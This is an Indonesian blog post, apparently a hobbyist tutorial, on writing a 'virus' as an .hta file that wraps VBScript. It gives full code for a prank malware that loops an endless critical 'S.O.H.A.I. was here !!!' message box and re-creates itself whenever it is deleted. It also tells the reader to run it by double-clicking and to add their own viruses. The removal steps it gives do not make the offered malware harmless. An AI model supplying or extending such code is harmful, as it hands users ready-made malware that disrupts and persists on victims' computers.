Membuat Virus dengan ekstensi .hta

Pada dasarnya cara membuat virus dengan extension ini sama halnya dengan VBScript, hanya membutuhkan dua baris kode yang ditaruh di awal dan akhir baris pada tubuh virus tersebut.jadi hanya suport dengan vbs saja.
jadi konsepnya vbs+hta

Contoh menggunakan VBS

dengan berbasis code sperti ini.

<*cript type="text/vbscript">
isi vbsscript virus
*/script>

<*cript type="text/vbscript">
tanda * di ganti menjadi script
sedangkan
*/script>
tanda * di ganti menjadi <

contoh vbsscript virus penjelasan ini aman,karena script ini hanya mengunakan anti delete jadi saat anda menjalankan virus ini virus ini tidak bisa di delete.Dan menampilkan pesan S.O.H.A.I. was here !!! dalam bentuk Critical. cara penghapusannya tinggal ctrl+alt+dell kemudian End Process dan komputer menjadi normal dan anda bisa mendelete file tersebut pilih processes cari tulisan wscript.exe

Do
MsgBox "S.O.H.A.I. was here !!!", vbCritical, "Warning"
loop
dim fso, myself,mytext
set fso = createobject("scripting.filesystemobject")
set myself = fso.opentextfile(wscript.scriptfullname)
mytext = myself.readall
myself.close
do
if fso.fileexists(wscript.scriptfullname) = false then
set myself = fso.createtextfile(wscript.scriptfullname)
myself.write mytext
myself.close
end if
loop

sehingga jika di gabungkan

<*cript type="text/vbscript">
Do
MsgBox "S.O.H.A.I. was here !!!", vbCritical, "Warning"
loop
dim fso, myself,mytext
set fso = createobject("scripting.filesystemobject")
set myself = fso.opentextfile(wscript.scriptfullname)
mytext = myself.readall
myself.close
do
if fso.fileexists(wscript.scriptfullname) = false then
set myself = fso.createtextfile(wscript.scriptfullname)
myself.write mytext
myself.close
end if
loop
*/script>

setelah selesai save pada notepad dengan ekstensi .hta

dan jalankan dengan cara mengeklik

pada penulisan virus anda bisa menambahkan virus buatan anda sendiri

0 komentar: di postingan Membuat Virus dengan ekstensi .hta